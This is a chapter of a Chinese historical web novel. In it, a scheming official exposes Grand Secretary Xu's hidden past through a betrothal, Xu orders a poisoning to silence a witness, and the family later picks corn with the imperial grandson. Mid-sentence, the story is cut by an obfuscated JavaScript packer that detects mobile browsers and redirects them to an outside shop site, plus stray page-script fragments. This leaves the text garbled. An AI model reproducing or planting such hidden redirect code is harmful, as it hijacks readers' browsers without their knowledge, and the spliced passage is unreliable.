议事结束,众位大臣整外宫门外走,袁松快步追上前去,叫住了徐阁老。
“座师。”
这让众人有些意外,明眼人都知道这师生俩是闹翻了的。
好奇为了何事,大家放慢了脚步,竖起耳朵。
徐阁老也有些诧异和好奇,转过头来。
袁松笑着上前拱手,声音不大不小,刚好够周围的人都能听见。
“刚刚人多,一直没找到机会和恩师道喜。”
这下徐阁老更糊涂了,心中打鼓,面上却沉得住气:“不知喜从何来?”
袁松微微一笑,说道:“恩师慧眼,觅的许大人这样的佳婿,难道不是大喜事?我听内子说,今日是换庚帖的日子。“
“许?”徐阁老心中打鼓,依然觉得不好。
他想起夫人前些日子和他说的话,河间府人士,在户部任职,难道……他的心好似被重重的的铁锤猛锤,呼吸急促,脸色难看,身影已晃,但还强撑着。
“你说的是谁?”声音飘忽,带着几分垂死挣扎。
袁松看着他,露出温和的浅笑,眼中却飞快闪过一丝讽意,一字一句道:“恩师这也要瞒着不成,自然是许……耀……宗许大人啊!”
徐阁老脚下不稳,往后重重退了几步,被袁松一把接住:“哎呀,恩师这是高兴的都失态了。”
听了这话,众人上前笑着恭喜。
徐阁老眼角狠狠抽动,要不是多年养气功夫还在,他定然要眼前的毛头小子血溅当场。
他知道了什么?
若是知道了,竟如此行事,那才是可恨的!
他……怎么能如此,
徐阁老目眦欲裂,生吃了他的心都有了。
袁松对上这杀人的目光,还是笑,笑容中却带着点挑衅。
好像在说,是的,是他做的,而且他还什么都知道。
这是一个阳谋,徐阁老要阻止这桩婚事,那就必须要说出其中内情,说出内情,他……
他这一生就谨小慎微,克己为公,兢兢业业,唯有年轻时犯过一个小错,这二十多年,他在尽力的掩饰,连枕边人都没有发现。
这小子是怎么知道的?
难道太子早就留意到自己了?
徐阁老心不住地下沉,他不觉得袁松有这个本事能查出来,只能是东宫早早地盯上了自己了。
敷衍完这些道喜的同僚,他风一般往家里赶。
刚进家门就看到徐夫人一脸喜色,他开口追问:“庚帖换完了?”
语气有异,徐夫人有些奇怪:“换完了,你这是怎么了?”
难道这小子品行有什么不妥?
徐阁老却不说,只催她快点去拿,徐夫人转身从盒子里拿出那张红纸,不等她递过去,徐阁老等不及夺了过来。
往上一看,正是他心中想的那人,籍贯,生成八字都对得上,心中那点同名同姓的侥幸也没了。
红纸从手中落下,他的脸色铁青,捏紧了拳手,冷声道:“去把媒人叫回来,把婚帖退回去,这门婚事我不同意,不可以,不允许,你听懂了吗?立刻马上!”
徐夫人听这命令的口气,顿时心头火气,瞬间忘了他这可怖的脸色和眼神,站起身来,也发了火。
“你当是儿戏,要退婚你总要说出个道道来,你是对他不满意,品行不端,还是家世有瑕?你一句话,就要让女儿再一次面临流言蜚语,你心里有没有想过女儿。”
“朝堂上的事情,我们女人家管不了,再说了,他一个芝麻绿豆的官,碍你什么事了!”
她以为丈夫可能是不满许耀宗在户部任职,户部尚书是太子的人,他是不是以为许耀宗也是东宫一党的。
面对夫人的咄咄逼人,徐阁老眼睛瞪的像铜铃,若是以往,徐夫人早就服软了,可这事关乎到女儿一辈子,她不肯退缩。
两人僵持着。
“你不说个正当理由,这婚是绝不可能退的。”之前让他掌眼,他推说忙,让她自己拿主意,如今婚事刚定,他却又要让退了。
再退了,女儿还要不要出嫁了,难道真让她孤苦一辈子,他们做父母的还活着,女儿还能在家里有口饭吃,若是长辈不在了,以儿媳那性子,女儿哪里能待的住,难道送道观去不成。
如今有些道观,乌烟瘴气,她好好的女儿,怎么能去哪些污糟地方。
“你说,是他品行不端还是不孝?”
这都是忤逆大罪,徐阁老若是承认是这个,许耀宗这一辈子也就完了。
他嘴角抽动,只觉得半边身子都麻了,他手撑住一旁的椅子,深呼吸,试着安抚情绪。
过了好一会,才觉得好一些,他起身,丢下一句:“这婚事不成。”就走了。
徐阁老从家里出门,径直去了东宫,东宫的人却说,太子病了,不见客。
徐阁老神色变了变,没有再纠缠,转身走了。
回到家中,他把心腹管家叫了来。
“你立刻去一趟河间府。”
他把一封信递了过来,还有一个白色小瓷瓶。
“让她放心去,我会照顾好她儿子的。”
管家和徐阁老自小一起长大,有些事情徐夫人不知道,他却都知道。
“老爷,真的到了这一步?”他知道那人对老爷有多重要,有些不忍心。
徐阁老眼神变了又变,最终还是坚定而悲伤。
“没办法了,东宫已经盯上她了。”与其落在他们手里,连累了太多人,还不如釜底抽薪。
这是目前他能想到的最好办法。
只要人死了,就死无对证。
许耀宗要守三年孝,徐夫人也不可能让女儿等这么久,一定会想办法退亲。
如今这门婚事知道的人也不多……
想到袁松的大嘴巴,还有那些同僚道喜,徐阁老呼吸都急促了。
他一定也料到这个,所以故意在人多的地方和自己道喜。
可惜,这次他大错算盘了!
徐家的女儿,没了名声也同样能嫁出去!大不了他一辈子养着女儿。
管家连行礼都没收拾,换了件不打眼的衣服就离开了,前脚刚出城门后,后脚就被人跟上了。
袁松正在教皇长孙读书,东宫一个小太监过来,在他耳边低语几句。
“知道了。”
他看了看天色,把书合起:“今日就说到这吧,殿下回去把书背熟了,明日我再抽背。“
赵晋文知道他是有事要走,立刻起身问道:“老师,我能不能去你家?”
“前些日子,师母说玉米快熟了,我想去看看。”
袁松想了想,颔首:“可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926295|204401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
袁松先去乾清宫,看看皇帝有没有别的吩咐,若是没有他就可以告假出宫了。
皇帝最近心情不错,知道大孙子要去庄子上看玉米,还逗他,要给自己带些来吃。
赵晋文满口答应。
“朕最近胃口不佳,你那个番茄也给朕带点来。”
作为交换,皇帝又赏了一些时鲜瓜果给袁家。
严娇娇听到立刻准备出城去庄子上,其实心里有些不太情愿,主要是太阳太大了,她嫌弃晒。
赵晋文摇着她的手臂,撒娇:“师母,我们去吧,去吧,我都答应皇爷爷了。”
他也想吃,都从没有吃过呢!
严娇娇看了看,一向老成的皇上孙都撒娇了,心也软了。
石榴最近有些闹人了,主要体现在喜欢追人,只要有人出门,他就嚎,早上袁松出门他还没醒,倒还好。
但若是严娇娇出门不带他,那会哭的叫一个惊天动地,如今他快十个月了,已经自学了察言观色。
哭一会,小眼睛偷偷观察一会,见你们有点心软,他就加大力度。
严娇娇真是怕了他的一套连招,所以每次出门都是偷偷的,背着他的。
大不了回来再慢慢哄。
可今天不行,今天大哥哥来了,石榴已经长脑子了,会思考了。
他知道大哥哥来,一家人就会出门去玩,所以大眼睛骨碌碌盯着严娇娇,谁抱都不要,怕被丢下。
没办法,只能把这个小家伙带上。
袁松先把他们送到庄子上就出门办事去了。
严娇娇要带石榴,苦力活只能让赵晋文干了。
“你看那个胡子,黑了就是可以吃了,不放心你就把皮拨开一点看看。”严娇娇给他传授绝招。
她用手磕了一下,米白色的浆爆了出来,很嫩,吃也是可以吃了。
赵晋文学习到了,有样学样。
学着严娇娇说的那样,把玉米棒子往下一扭,劲用大了,茎杆竟一起断了,赵晋文好似犯了大错,僵在当地,反应过来还试图把断掉的地方粘起来。
“断了就断了,反正也没用了。”
赵晋文:“它不能再长了吗?”
石榴在怀里扭来扭去,严娇娇把他抱远一点,免得他嫩嫩的手臂被叶子划伤。
“不能了,一颗最多只能长两个玉米棒,大部分只长一个。”都是独生家庭。
赵晋文一脸惋惜,若是能一直长就好了。
大概掰了有大几十个后,两人回了庄子。
袁松还没回来,两人煮了几个吃。
石榴见了,馋的口水横流,可惜无齿之人……不对,有小米粒了,反正他不能吃。
撒娇卖萌没有用后,石榴眼一红,眼含热泪,欲掉不掉,好不可怜。
赵晋文还是没什么经验,一下子就被骗到了。
“师母,要不要给他一颗尝尝。”
严娇娇瞥了一眼儿子的眼泪,小狗眼泪不值钱,无情拒绝了:“他还不能吃。”
随后塞了个苹果给石榴:“啃吧。”
石榴想要放脾气丢掉,可对上娘亲严厉的目光,只能悻悻缩回,本着凑合的心态,狠狠咬伤一口。
那两颗小米粒泛着寒光,可见主人的不满。
天快黑时,袁松才回来。